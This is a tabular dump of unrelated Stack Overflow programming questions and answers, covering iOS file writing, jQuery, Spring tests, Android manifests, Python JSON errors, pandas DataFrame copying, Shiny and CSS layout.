19073297	0	String doesn't seem to overwrite .csv file. Why? <p>I've been writing a simple app drawing innitial values in from a .csv file, then adding to them and then trying to write the modified data back out to the same CSV file. The output in the terminal window suggests its working ok, but when I look at the file or access it from another boot (I'm testing this on Xcode's iPhone simulator), it doesn't seem to work. Can someone tell me where I'm going wrong? Here's my code: </p> <pre><code>-(IBAction)AddButtonPressed:(id)sender{ // Get the input from the input field and add it to the sum in the bank field float a = ([input.text floatValue]); float b = a+([earned.text floatValue]); // adding the old value of 'earned' text field to the value from the input field and update the interface earned.text = [[NSString alloc] initWithFormat:@"%4.2f",b]; // THIS IS THE BEGINNINGS OF THE CODE FOR WRITING OUT TO A .CSV FILE SO THAT DATA CAN BE USED LATER IN EXCEL NSString *path = [[NSBundle mainBundle] pathForResource:@"Income" ofType:@"csv"]; if ([[NSFileManager defaultManager] fileExistsAtPath:path]) { NSLog(@"found it"); NSString *contents = [[NSString alloc] initWithContentsOfFile:path encoding:NSUTF8StringEncoding error:nil]; NSLog(@"string looks like this\: %@", contents); //set the contents of income to be the same as what's currently in income.csv [income setString:contents]; NSLog(@"income contains\: %@", income); //NEXT Apend income to add NSDATE, Textinput and the float value 'a' //Get the Date... NSDateComponents *components = [[NSCalendar currentCalendar] components: NSDayCalendarUnit | NSMonthCalendarUnit | NSYearCalendarUnit fromDate:[NSDate date]]; NSInteger day = [components day]; NSInteger month = [components month]; NSInteger year = [components year]; //... And apend it into a readable string with a comma on the end NSString *theDate = [[NSString alloc] init]; theDate = [NSString stringWithFormat:@"%d.%d.%d", day,month,year]; NSLog(@"The Date is %@", theDate); //holder string till I get the text input wired up in the interface NSString *text = [[NSString alloc]init]; text = @"filler words"; //turn the float entered in the GUI to a string ready for adding to the 'income' mutable array NSString *amountAdded = [[NSString alloc]init]; amountAdded = [NSString stringWithFormat:@"%4.2f", a]; //format the final string and pass it to our 'income' NSMutable Array NSString *finalString = [[NSString alloc] init]; finalString = [NSString stringWithFormat:@"\n %@, %@, %@", theDate, text, amountAdded]; NSLog(@"final string is %@", finalString); [income appendString:finalString]; NSLog(@"income now reads %@", income); [income writeToFile:path atomically:YES encoding:NSUTF8StringEncoding error:nil]; NSLog(@"completed writing to income.csv which now reads %@", contents); } else{ NSLog(@"not a sausage"); } </code></pre>
32811819	0	 <p>You can use <strong><a href="http://api.jquery.com/attr/" rel="nofollow"><code>attr()</code></a></strong> with callback to update inline css</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('#div1').attr('style', function(i, v) { return v.split(';') // split css value by `;` to get each property .filter(function(val) { // filtering values var str = $.trim(val.split(':')[1]); // getting property value and trimming to avoid spaces return !(str == 0 || str == 'none' || str == ''); // checking property value is 0, none or '' , based on this filtering is done }).join(';'); // joining splitted array and return back for updating style property });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div id="div1" style="position: relative; font-size: 24px; left: 175px; width: 400px; height: 200px; top: 0; background-image: none; background-color: none; background-position: 50% 50%;"&gt;New Element&lt;/div&gt;</code></pre> </div> </div> </p>
2185157	0	 <p>I'm not sure if this is the complete solution (what error are you getting?), but it's something that needs to be fixed: on the line <code>body :user =&gt; user</code>, the <code>user</code> variable is not defined. Do you mean to do <code>:user =&gt; @recipients</code>?</p>
509083	0	 <p>You don't even need to discuss it with management (though the situation you describe about it is far from ideal). It's like Design by Contract - I introduced it in previous code I worked in, just as part of the development process. Once it's in, and it works, trust me, noone will dare to remove it.</p> <p>Unit testing can also be seen as a <em>part</em> of development. Hence, if you have "20 days" for developing features A, B and C, you can typically include unit tests in your estimations for development itself.</p> <p>Making unit tests is surprisingly easy. Compared with multithreading problems or any sort of complex design, unit testing is very easy to grasp for any competent developer.</p> <p>You can read good literature about it (you have dozens of tutorials online) in, say, half a day, and start doing your first tests in the afternoon.</p> <p>Really - <strong>just do it!</strong></p>
26972115	0	 <p>I tried to use <code>ShouldSerialize</code> in various ways and the best I could get to was <code>&lt;value /&gt;</code>, couldn't make him not serialize an array item basically.</p> <p>But using a custom property to filter out what you don't want would work.</p> <pre><code>[XmlIgnore] public List&lt;XmlPropertyValue&gt; Values { get; set; } [XmlElement("value")] public List&lt;XmlPropertyValue&gt; ValuesForSerialization { get { var bla = Values.Where(o =&gt; o.ShouldSerializeValue()).ToList(); return bla; } set { Values = value; } } </code></pre> <p>Tested, it works. It's not a neat solution and neither is anything that adds public members to your class (just like <code>ShouldSerializeValue</code>).</p> <p>According to some <a href="http://blogs.msdn.com/b/sowmy/archive/2008/10/04/serializing-internal-types-using-xmlserializer.aspx" rel="nofollow">sources</a> you could make <code>ValuesForSerialization</code> internal if you use <code>DataContractSerializer</code> instead of <code>XmlSerializer</code>.</p>
29242271	0	 <p>You can either pass the object to the ng-click function:</p> <pre><code>&lt;div ng-repeat="record in records"&gt; &lt;button ng-click="play(record)"&gt;Play&lt;/button&gt; &lt;/div&gt; </code></pre> <p>or call a function on the record in the ng-click:</p> <pre><code>&lt;div ng-repeat="record in records"&gt; &lt;button ng-click="record.play()"&gt;Play&lt;/button&gt; &lt;/div&gt; </code></pre>
21457833	0	 <p><strong>Spring 3.2 and newer provides support for session/request scoped beans for integration testing</strong></p> <pre><code>@RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(classes = TestConfig.class) @WebAppConfiguration public class SampleTest { @Autowired WebApplicationContext wac; @Autowired MockHttpServletRequest request; @Autowired MockHttpSession session; @Autowired MySessionBean mySessionBean; @Autowired MyRequestBean myRequestBean; @Test public void requestScope() throws Exception { assertThat(myRequestBean) .isSameAs(request.getAttribute("myRequestBean")); assertThat(myRequestBean) .isSameAs(wac.getBean("myRequestBean", MyRequestBean.class)); } @Test public void sessionScope() throws Exception { assertThat(mySessionBean) .isSameAs(session.getAttribute("mySessionBean")); assertThat(mySessionBean) .isSameAs(wac.getBean("mySessionBean", MySessionBean.class)); } } </code></pre> <p>References: </p> <ul> <li><a href="http://spring.io/blog/2012/11/07/spring-framework-3-2-rc1-new-testing-features/#request-and-session-scoped-beans">Request and Session Scoped Beans</a></li> <li><a href="https://jira.springsource.org/browse/SPR-4588">(SPR-4588)</a></li> <li><a href="http://stackoverflow.com/questions/2411343/request-scoped-beans-in-spring-testing">request scoped beans in spring testing</a></li> </ul>
8315444	0	 <p>You are explicitly setting <code>receiver</code> to null inside <code>toggleButton.setOnClickListener</code> and in <code>onPause</code>:</p> <pre><code>receiver = null; </code></pre> <p>Try removing those lines and see if it fixes the issue</p>
40096751	0	 <p>At JavaOne September 2016, the blog poster mentioned that there will be a supported Flight Recorder API in JDK 9, and that the unsupported API now available in JDK 8 will be removed. He also showed a slide with this text before his presentation:</p> <p>"The following is intended to outline our general product direction. It is intended for informational purposes only, and may not be included in any contract. It is not a commitment to deliver any material code, or functionality, and should not be relied upon in making purchasing decisions. The development, release, and timing of any features or functionality described for Oracle's products remains at the sole discretion of Oracle."</p>
10177801	0	 <p>You should try QT. It is pretty good framework for cross-platform development. The opensource version is free and very well maintained and has the LGPL license. That means you can sell your product as closed source but then you have to dynamically link to QT libraries. </p>
41042305	0	 <p>Whenever I've faced this, the places to check are:</p> <ul> <li>Row Groups</li> <li>Column Groups</li> <li>Header text boxes for interactive sorting</li> </ul> <p>9 times out of 10 when I can't find it, it's in the interactive sorting on text boxes. <a href="https://i.stack.imgur.com/g1yUN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/g1yUN.png" alt="Interactive Sorting"></a></p>
22638499	0	 <p>simply use the Out-File cmd but DON'T forget to give an encoding type: -Encoding UTF8 so use it so:</p> <p>$log | Out-File -Append C:\as\whatever.csv -Encoding UTF8</p> <p>-Append is required if you want to write in the file more then once.</p>
29543966	0	 <p>It could be as simple as that:</p> <pre><code>var openAccordionContent = function () { $('.accordion-content-button').on('click', function () { var $next_content = $(this).next('.accordion-content'); // Remove the class show from all the items, except the one // sitting next to the clicked one. $('.accordion-content').not($next_content).removeClass('show'); // Toggle the class show for the item which is sitting next // to the clicked one. $next_content.toggleClass('show'); }); }(); </code></pre> <p><a href="https://jsfiddle.net/MelanciaUK/vx2bguyp/12/" rel="nofollow">Demo</a></p>
11501002	0	django template content not showing up <p>In my views i have pointed my code to login.html >But the alert in the ready function or the content so f the body are not seen on the UI.What am i doing wrong here</p> <pre><code> {% extends "base/base.html" %} &lt;script&gt; $(document).ready(function() { alert('1'); }); &lt;/script&gt; some code here some code here some code here some code here some code here some code here &lt;b&gt;{{response_dict.yes}} testing and testing and testinf&lt;/b&gt; &lt;b&gt;{{a}}&lt;/b&gt; &lt;form action="/logon/" method="post" name="myform"&gt; {% csrf_token %} &lt;b&gt;Username&lt;/b&gt;&lt;input type="text" name="username" id="username"&gt;&lt;/input&gt; &lt;br&gt;&lt;b&gt;Password&lt;/b&gt;&lt;input type="password" name="password" id="password"&gt;&lt;/input&gt; &lt;b&gt;&lt;/b&gt;&lt;input type="submit" value="Submit"&gt;&lt;/input&gt; &lt;img src="/media/img/hi.png" alt="Hi!" /&gt; &lt;!-- This is working dude --&gt; &lt;img alt="Hi!" src="/opt/labs/lab_site/media/img/hi.png"&gt; &lt;/form&gt; </code></pre>
34632070	0	Kotlin documentation doesn't support tags like '<p>' well <p>I'm writing doc comments to describe a method.</p> <pre class="lang-css prettyprint-override"><code> /** * &lt;p&gt;necessary * &lt;p&gt;setType is to set the PendingIntend's request code&lt;/p&gt; */ </code></pre> <p>But it won't show the paragraphs. If I don't use the <code>&lt;p&gt;</code>, all the documentation is in a line without any break. It works in Java class but when it comes to Kotlin, I don't know how to deal with it.</p>
4862987	0	 <p>No, this would allow to retrieve the contents of any URL, which would break some security policies. (This would be an equivalent of an ajax get request without same-domain checks.)</p> <p>However, since <code>foo.js</code> is on the same domain than the page you can fetch it with an ajax request. Example with jQuery:</p> <pre><code>$.get('foo.js', function(source_code) { alert('foo.js contains ' + source_code); }); </code></pre>
13492703	0	 <p>Found the solution here works well: <a href="http://stackoverflow.com/questions/13032565/ios-6-address-book-empty-kabpersonphoneproperty">iOS 6 address book empty kABPersonPhoneProperty</a> "To retrieve all phone numbers you need to get all linked contacts and then look for phone numbers in that contacts."</p>
8551560	0	 <p>I would suggest creating the CRUD operations from scratch rather than using scaffold. It'll improve your rails development skills and you don't have to worry about unnecessary generated code from the scaffold - create a sample scaffold if you like to give you a basis to work from.</p> <p>Alternatively you could 'destroy' the model and recreate in a scaffold, that wont take long at all.</p>
6732547	0	 <p>Android 2.3, 2.3.1, 2.3.2 supports api 9. You are getting an error because you are using Android 2.1. Solution:- open AndroidManifest.xml file find and update line </p> <pre><code>&lt;uses-sdk android:minSdkVersion="9" /&gt; </code></pre> <p>to as shown below,</p> <pre><code> &lt;uses-sdk android:minSdkVersion="7" /&gt; </code></pre> <p>This will definitely solve your problem. </p>
23979407	1	Json module error for saving dictionary <p>I'm coding a program to oraganise my homework. I got an error while trying to save my dicts with json and i have no idea what to do. I'm really lost. Also I'm kind of a noob so don't post anything to complex if you can. Thanks Here's the error</p> <pre><code> Traceback (most recent call last): File "Homework.py", line 12, in &lt;module&gt; json.load(f1) File "F:\Software\Python\lib\json\__init__.py", line 268, in load parse_constant=parse_constant, object_pairs_hook=object_pairs_hook, **kw) File "F:\Software\Python\lib\json\__init__.py", line 318, in loads return _default_decoder.decode(s) File "F:\Software\Python\lib\json\decoder.py", line 343, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "F:\Software\Python\lib\json\decoder.py", line 361, in raw_decode raise ValueError(errmsg("Expecting value", s, err.value)) from None ValueError: Expecting value: line 1 column 1 (char 0) </code></pre> <p>If you want my whole code (not finished yet, it's missing a lot)</p> <pre><code>#insert date to rate urgency of the tasks #BLOCK 1:1 print("today's date, month(insert month number)") ThisMonth = input("&gt;&gt;&gt;") print("today's date, day(insert day number)") ThisDay = input("&gt;&gt;&gt;") #BLOCK 1:2 #import dictionaries import json with open('LessonOut.txt', 'r') as f1: json.load(f1) with open('ExercisesOut.txt', 'r') as f2: json.load(f2) with open('AssignmentOut.txt', 'r') as f3: json.load(f3) #BLOCK 1:5 #everything will be in a while true loop for it to run smoothly until stopped while True: Input = input('&gt;&gt;&gt;') #This is used to add a task #BLOCK 2:1 if Input == 'add': print('Name of task?') Name = input('&gt;&gt;&gt;') print('Description of task?') Desc = input('&gt;&gt;&gt;') print('Rate the time it takes you to do the task on a scale from 1 to 20') Time = input('&gt;&gt;&gt;') print('&gt;&gt;&gt;') Imp = input('&gt;&gt;&gt;') print("Rate how much you want to do it on a scale from 1 to 5 (1= want to do it, 5= don't want to") Want = input("&gt;&gt;&gt;") print("enter deadline (month)") TimeMonth = input("&gt;&gt;&gt;") print("enter deadline (day)") TimeDay = input("&gt;&gt;&gt;") print("what type of homework is it? (Lesson/Exercises/Assignment)") Type = input("&gt;&gt;&gt;") #determines what type of task it is and puts it in the right dictionary #BLOCK 2:2 #Used to calculate time left to finish assignment DayLeft = 0 if ThisMonth &gt; TimeMonth: TimeMonth = TimeMonth + 12 if ThisMonth == ( 1 or 3 or 5 or 7 or 8 or 10 or 12 ) and TimeDay &lt; ThisDay: ThisMonth = ThisMonth + 1 DayLeft = DayLeft + ( 31 - ThisDay ) elif ThisMonth == 1 or 3 or 5 or 7 or 8 or 10 or 12: ThisMonth = ThisMonth + 1 DayLeft = DayLeft + ( TimeDay - ThisDay ) #BLOCK 2:3 while ThisMonth &lt; TimeMonth: if ThisMonth == 1 or 3 or 5 or 7 or 8 or 10 or 12: ThisMonth = ThisMonth + 1 DayLeft = DayLeft + 31 elif ThisMonth == 4 or 6 or 9 or 11 or 16 or 18 or 21 or 23: ThisMonth = ThisMonth + 1 DayLeft = DayLeft + 30 elif ThisMonth== 2 or 14: ThisMonth = ThisMonth + 1 DayLeft = DayLeft + 28 #BLOCK 2:4 if Type == Lesson: Rating = Time + Imp + Want Lesson.update = {DayLeft:(Name,Desc,Rating,TimeDay,TimeMonth)} if Type == Exercises: Rating = Time + Imp + Want Exercises.update = {DayLeft:(Name,Desc,Rating,TimeDay,TimeMonth)} if Type == Assignment: Rating = Time + Imp + Want Assignment.update = {DayLeft:(Name,Desc,Rating,TimeDay,TimeMonth)} #BLOCK 5:1 if Input == 'quit': print ("are you sure you want to quit?") Input = input('&gt;&gt;&gt;') if Input == 'Yes' or 'yes' or 'y' or 'Y' or 'Yse' or 'yse': #BLOCK 5:2 #Save an output dictionaries with open('LessonOut.txt', 'w') as f1: json.dump(Lesson, f1) with open('ExercisesOut.txt', 'w') as f1: json.dump(Exercises, f1) with open('AssignmentOut.txt', 'w') as f1: json.dump(Assignment, f1) break break break </code></pre>
13145251	0	 <p>Unhelpful jerks are a pleasure to work with. <a href="http://bobpowelldotnet.blogspot.fr/2012/10/monodroid-camera-preview-as-opengl.html" rel="nofollow">http://bobpowelldotnet.blogspot.fr/2012/10/monodroid-camera-preview-as-opengl.html</a></p>
2131769	0	using numbers in a string <p>Can I use numbers while using <code>String</code> data type?</p>
8140152	0	 <p>It reminds me a little of the <a href="http://en.wikipedia.org/wiki/Knapsack_problem" rel="nofollow">http://en.wikipedia.org/wiki/Knapsack_problem</a> maybe that helps a bit.</p>
14509311	0	 <p>This gets the job done visually:</p> <pre><code>&lt;Grid&gt; &lt;Image Source="{Binding MyImage}" /&gt; &lt;Image Source="{Binding MyWatermark}" /&gt; &lt;/Grid&gt; </code></pre> <p>Same answer as here: <a href="http://stackoverflow.com/a/14509282/265706">http://stackoverflow.com/a/14509282/265706</a></p>
37862569	0	DataTable row selection inside shiny module <p>I am trying to take this basic working shiny app and modularize it. This works:</p> <pre><code>shinyApp( ui = fluidPage( DT::dataTableOutput("testTable"), verbatimTextOutput("two") ), server = function(input,output) { output$testTable &lt;- DT::renderDataTable({ mtcars }, selection=list(mode="multiple",target="row")) output$two &lt;- renderPrint(input$testTable_rows_selected) } ) </code></pre> <p>I want to make this a module that will work for any data.frame</p> <pre><code># UI element of module for displaying datatable testUI &lt;- function(id) { ns &lt;- NS(id) DT::dataTableOutput(ns("testTable")) } # server element of module that takes a dataframe # creates all the server elements and returns # the rows selected test &lt;- function(input,output,session,data) { ns &lt;- session$ns output$testTable &lt;- DT::renderDataTable({ data() }, selection=list(mode="multiple",target="row")) return(input[[ns("testTable_rows_selected")]]) } shinyApp( ui = fluidPage( testUI("one"), verbatimTextOutput("two") ), server = function(input,output) { out &lt;- callModule(test,"one",reactive(mtcars)) output$two &lt;- renderPrint(out()) } ) </code></pre> <p>This gives me errors saying I am trying to use reactivity outside of a reactive environment. If I eliminate the return statement, it runs. Is there anyway to return the rows selected from a datatable in a shiny module? Any help would be appreciated.</p>
24599180	0	How to return the response from jQuery AJAX? <p>I am working with <code>bootstrapWizard</code> and need to submit a form each step.Submitting forms using ajax and validating the form in server.I need to pass the return value to <code>onNext</code> .But it is always return true.</p> <pre><code> $('#buyer_wizard').bootstrapWizard({ 'tabClass': 'form-wizard', onTabClick: function(tab, navigation, index) { return false; }, onNext: function(tab, navigation, index){ var url=$("#buyer_form_step"+index).attr('action'); var data=$("#buyer_form_step"+index).serialize(); $.ajax({ type: 'POST', url:url, data:data, async:false, success:function(data){ return data }, error: function(data) { // if error occured alert(JSON.stringify(data)); }, dataType:'json' }); } }); </code></pre> <p>onNext is true always and going to next screen even if the ajax return value is false. </p>
26102316	0	301 URL Redirection with value <p>I need help regarding URL redirection</p> <p>I want to set a affiliate url like <code>localhost/mysite/bussname/proname</code>, when a viewer will see this link and click it it will redirect to </p> <pre><code>localhost/mysite/mypage.php?bussinessname=bussname&amp;productname=proname </code></pre> <p>I already use this code </p> <pre><code>Redirect 301 localhost/mysite/bussname/pagname localhost/mysite/mypage.php?bussinessname=bussname&amp;productname=proname </code></pre> <p>It causes internal server URL.</p> <p>So, what will be the possible code in htaccess. Please help me, thanks in previous. </p>
17690872	0	My App Installs Two Applications - Android <p>Whenever I try to run my App, it installs two app in the emulator/device. I only want to Install my Main Activity, but the Splash Activity installs also. I know the problem is in the Manifest. Can anyone help me please? Here is my code:</p> <pre><code>&lt;activity android:name="com.android.upcurrents.launcher.SplashActivity" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name="com.android.upcurrents.MainActivity" android:label="@string/app_name" /&gt; </code></pre>
9728807	0	 <p>They should be, yes, because there is no more reference to that <code>channels</code> object nor the closure that contains it.</p> <p>GC is mostly dependent on the browser that implements it, though, so there's no guarantee it'll actually be done. <code>delete</code>ing each element is overkill, though.</p>
8415250	0	 <p>did you check if you both server you can do this:</p> <pre><code>file_get_contents(__URL_AND_NOT_PATH_HERE__) </code></pre> <p>basically the first thing is to check an option called <strong>allow_url_fopen</strong></p>
20667445	0	 <p>Well, as it turns out, if I insert a fake option group label it disables the truncating.</p> <p></p> <p><a href="http://stackoverflow.com/questions/19398154/how-to-fix-truncated-text-on-select-element-on-ios7">How to fix truncated text on &lt;select&gt; element on iOS7</a></p> <pre><code>&lt;select&gt; &lt;option selected="" disabled=""&gt;Select a value&lt;/option&gt; &lt;option&gt;Grumpy wizards make toxic brew for the evil Queen and Jack&lt;/option&gt; &lt;option&gt;Quirky spud boys can jam after zapping five worthy Polysixes&lt;/option&gt; &lt;option&gt;The wizard quickly jinxed the gnomes before they vaporized&lt;/option&gt; &lt;option&gt;All questions asked by five watched experts amaze the judge&lt;/option&gt; &lt;optgroup label=""&gt;&lt;/optgroup&gt; &lt;/select&gt; </code></pre>
10185405	0	 <p>In jQuery,</p> <pre><code>$('#example').keypress(function(e) { var s = String.fromCharCode( e.which ); if ( s.toUpperCase() === s &amp;&amp; s.toLowerCase() !== s &amp;&amp; !e.shiftKey ) { alert('caps is on'); } }); </code></pre> <p>Avoid the mistake, like the backspace key, s.toLowerCase() !== s is needed.</p> <p><strong>You have try this code?</strong></p> <pre><code>function isCapslock(e){ e = (e) ? e : window.event; var charCode = false; if (e.which) { charCode = e.which; } else if (e.keyCode) { charCode = e.keyCode; } var shifton = false; if (e.shiftKey) { shifton = e.shiftKey; } else if (e.modifiers) { shifton = !!(e.modifiers &amp; 4); } if (charCode &gt;= 97 &amp;&amp; charCode &lt;= 122 &amp;&amp; shifton) { return true; } if (charCode &gt;= 65 &amp;&amp; charCode &lt;= 90 &amp;&amp; !shifton) { return true; } return false; } </code></pre>
18088595	0	 <p>I think the main confusion here is the notion that that <code>main</code> is the first and last thing that happens in C++ program. Whilst it is [1] the first part of YOUR program, there is usually some code in the application that sets up a few things, parses command line arguments, opening/initialization of standard I/O (<code>cin</code>, <code>cout</code>, etc) and other such things, which happen BEFORE <code>main</code> is called. And <code>main</code> is essentially just another function, called by the C++ runtime functionality that does that "fix things up before <code>main</code>". </p> <p>So, when <code>main</code> returns, it goes back to the code that called it, which then cleans up the things that need cleaning up (closing standard I/O channels, and many other such things), before actually finishing up by calling some OS function to "terminate this process". As part of this "terminate this process" functionality is (in most OS's) a way to signal "success or failure" to the OS, so that some other process monitoring the application can determine "if all is well or not". This is where, eventually, the <code>0</code> (or <code>1</code> if you use <code>return 1;</code> in <code>main</code>) ends up. </p> <p>[1] If there are static objects with constructors that are part of the user's code, then these will be performed before any code in <code>main</code> [or at least, before any code in <code>main</code> that belongs to the user's application] is executed. </p>
25212096	1	Editing Original DataFrame After Making a Copy but Before Editing the Copy Changes the Copy <p>I am trying to understand how copying a pandas data frame works. When I assign a copy of an object in python I am not used to changes to the original object affecting copies of that object. For example:</p> <pre><code>x = 3 y = x x = 4 print(y) 3 </code></pre> <p>While <code>x</code> has subsequently been changed, y remains the same. In contrast, when I make changes to a pandas <code>df</code> after assigning it to a copy <code>df1</code> the copy is also affected by changes to the original DataFrame.</p> <pre><code>import pandas as pd import numpy as np def minusone(x): return int(x) - 1 df = pd.DataFrame({"A": [10,20,30,40,50], "B": [20, 30, 10, 40, 50], "C": [32, 234, 23, 23, 42523]}) df1 = df print(df1['A']) 0 10 1 20 2 30 3 40 4 50 Name: A, dtype: int64 df['A'] = np.vectorize(minusone)(df['A']) print(df1['A']) 0 9 1 19 2 29 3 39 4 49 Name: A, dtype: int64 </code></pre> <p>The solution appears to be making a deep copy with <code>copy.deepcopy()</code>, but because this behavior is different from the behavior I am used to in python I was wondering if someone could explain what the reasoning behind this difference is or if it is a bug.</p>
33728318	0	 <p>The problem could be the browser. Do you use safari or another browser? Maybe updating the browser or trying it on a different iOS device will work? </p>
13493644	0	 <p>Just an update for those coming here: I started to use LiteIDE X (x14.1) on Windows 7 and it works superbly. :-) Lightweight and efficient...</p>
11488045	0	 <p>Not sure about Access but this is what I usually do in MySQL</p> <p><code>SELECT SUM(IF(handset_site_id IS NULL, 1, 0)) AS number_of_null_handsets</code> ...</p>
6906906	0	 <p>Have you sniffed what is actually sent? I would expect the Apache code to escape the IAC, so you are really sending IAC-IAC-EL.</p> <p>You should be calling TelnetClient.sendCommand(EL).</p>
1199750	0	 <p>I experienced this same situation a while back and created a small utility I called "InternalsVisibleToInjector". It uses ILDASM and ILASM to disassemble, modify, and reassemble and assembly with the assembly name of my selection added to the InternalsVisibleTo list for the target assembly. It worked quite well in my situation.</p> <p>I have posted the source code (VS 2008 C# WinForm) for the utility here:</p> <p><a href="http://www.schematrix.com/downloads/InternalsVisibleToInjector.zip" rel="nofollow noreferrer">http://www.schematrix.com/downloads/InternalsVisibleToInjector.zip</a></p> <p>This may not work if the assembly is signed. Please take all appropriate precautions (i.e. make a backup of the assembly before using this and ensure you are on solid legal ground, etc.) </p>
13619188	0	 <p>You don't say precisely what you're trying to do, but I can say with a great deal of confidence you are doing it wrong. From your code, I'll guess that <code>emailTranscript.txt</code> contains a form letter and <code>nameAddresses.csv</code> contains the data to be substituted in. </p> <p>The biggest error, and the one I suspect is your problem, is that <code>-F</code> specifies the field separator. You want <code>-v</code>, to set a variable. </p>
40880537	0	How to transfer java Ajax Answer to my foreach loop <p><strong>AJAX</strong></p> <pre><code> &lt;script&gt; $(document).ready(function () { $('#selSclCatg').change(function () { var catId = $('#selSclCatg').val(); $.ajax({ type: 'post', url: 'CreateProCatFiltServlet', data: {datastr: catId}, success: function (pRotyp) { successmessage = 'Data was succesfully captured'; $("#successmessage").text(successmessage); }, error: function (e) { alert('Error: ' + e.message); } }); }); }); &lt;/script&gt; </code></pre> <p>How to transfer <code>function (pRotyp)</code> to <code>foreach</code> loop</p> <pre><code> &lt;p&gt; &lt;label for="SelSclName"&gt;Select Scale:&lt;/label&gt; &lt;select name="SelSclName" id="SelSclName"&gt; &lt;option&gt;Select Scale &lt;/option&gt; &lt;c:forEach items="${pRotyp}" var="at"&gt; &lt;option value="${at.protypid}"&gt;${at.protypnam}&lt;/option&gt; &lt;/c:forEach&gt; &lt;/select&gt; &lt;/p&gt; </code></pre>
24701038	0	 <p>The standard way to send navigation parameters between pages in WP8 is to use</p> <pre><code>NavigationService.Navigate(new Uri("/MainPage.xaml?text=" + textBox1.Text, UriKind.Relative)); </code></pre> <p>Then check for the parameter on the OnNavigatedTo() Method on the page you have navigated to. </p> <pre><code>protected override void OnNavigatedTo(NavigationEventArgs e) { string settingsText = NavigationContext.QueryString["text"]; } </code></pre> <p>For Windows Phone 8.1 you no longer navigate using a URI. The approach is to use: </p> <pre><code>this.Frame.Navigate(typeof(MainPage), textBox1.Text); </code></pre> <p>Then on the loadstate for the page you are navigating to you can get the data by using:</p> <pre><code>private async void navigationHelper_LoadState(object sender, LoadStateEventArgs e) { string text = e.NavigationParameter as string; } </code></pre> <p>Hope this helps.</p>
13222849	0	NodeJS+Sequelize+Jade; Using the hasMany collection on an object <p>I'm working on a nodejs+sequelize+jade web-app to learn nodejs. Everything basic is quite clear but now I want to up the ante. I have object(table) called brand. The object product has a one-to-many relation with brand. What I like to do is to findAll brands and show them in a Jade-template and also list the products under it.</p> <p>Here is some basic code</p> <pre><code>var Brand = sequelize.import(application_root + "/models/brand.js"); var Product = sequelize.import(application_root + "/models/product.js"); Brand.hasMany(Product, { as: 'Products', foreignKey: 'brand'}); Product.belongsTo(Brand, { foreignKey: 'key'}); </code></pre> <p>In the route for showing the brands and products I do;</p> <pre><code> Brand.findAll().error(errorHandler).success(function(brands) { brands[0].getProducts().success(function(products) { brands[0].products = products; }); res.render('listOfbrands.jade', { title: 'List of brands', items: brands}); }); </code></pre> <p>The strangest thing is that I can see a query being fired when the console.log has been executed but it doesn't create a correct query with the primary key of the brand. The query being select * from products where "brand" is null </p> <p>Also I want to know if I'm assigning the sub collection correct to access it in my Jade template by doing like this</p> <pre><code>ul each item in items li(class='brandItem')= item.name ul each product in item.products li=product.name </code></pre>
37761657	0	How can I make the image smaller width? Masonry <p>Basically not know how to change the width of the image so it looks like in design.</p> <p>I'm new to working with this library and I want to know how I can change my example to be like in design.</p> <p>The middle image is smaller than the other two. Also to be preserved and height as all three</p> <p>I have this <a href="http://codepen.io/anon/pen/mEVoJo" rel="nofollow">sample</a></p> <p><strong>CODE HTML:</strong></p> <pre><code>&lt;div class="grid"&gt; &lt;div class="grid-sizer"&gt;&lt;/div&gt; &lt;div class="grid-item item-1"&gt; &lt;img src="http://bagelhousecafe.ch/wp-content/themes/wp_bagel/assets/img/img-01.png" /&gt; &lt;/div&gt; &lt;div class="grid-item item-2"&gt; &lt;img src="http://bagelhousecafe.ch/wp-content/themes/wp_bagel/assets/img/img-02.png" /&gt; &lt;/div&gt; &lt;div class="grid-item item-3"&gt; &lt;img src="http://bagelhousecafe.ch/wp-content/themes/wp_bagel/assets/img/img-03.png" /&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>CODE CSS:</strong></p> <pre><code>* { box-sizing: border-box; } /* force scrollbar */ html { overflow-y: scroll; } body { font-family: sans-serif; } /* ---- grid ---- */ .item-1,.item-3{ width:40%; } .grid { background: #DDD; } /* clear fix */ .grid:after { content: ''; display: block; clear: both; } /* ---- .grid-item ---- */ .grid-sizer, .grid-item { width: 33.333%; } .grid-item { float: left; } .grid-item img { display: block; width: 100%; } </code></pre> <p><strong>CODE JS:</strong></p> <pre><code>// external js: masonry.pkgd.js, imagesloaded.pkgd.js // init Masonry after all images have loaded var $grid = $('.grid').imagesLoaded( function() { $grid.masonry({ itemSelector: '.grid-item', percentPosition: true, columnWidth: '.grid-sizer' }); }); </code></pre> <p><a href="http://i.stack.imgur.com/KlhCd.jpg" rel="nofollow">And here is the image</a></p> <p>Thanks in advance!</p>
230082	0	 <p>Silverlight can do this (as can Flash, I'm sure). CSS3 will support it. But graphic text is the way to go right now.</p> <p>You can use any of several text-hiding techniques in CSS to show the text for accessible browsers, yet display the graphic (with text arranged vertically) for sighted users.</p>
32798639	0	 <p>You need to use encodeURIComponent to do this.</p> <pre><code>encodeURIComponent('http://example.com/feed.xml&amp;0.1234') </code></pre> <p>will result in</p> <pre><code>http%3A%2F%2Fexample.com%2Ffeed.xml%260.1234 </code></pre> <p>and when appended to the end result you'll get</p> <pre><code>https://ajax.googleapis.com/ajax/services/feed/load?v=1.0&amp;num=5&amp;q=http%3A%2F%2Fexample.com%2Ffeed.xml%260.1234 </code></pre>
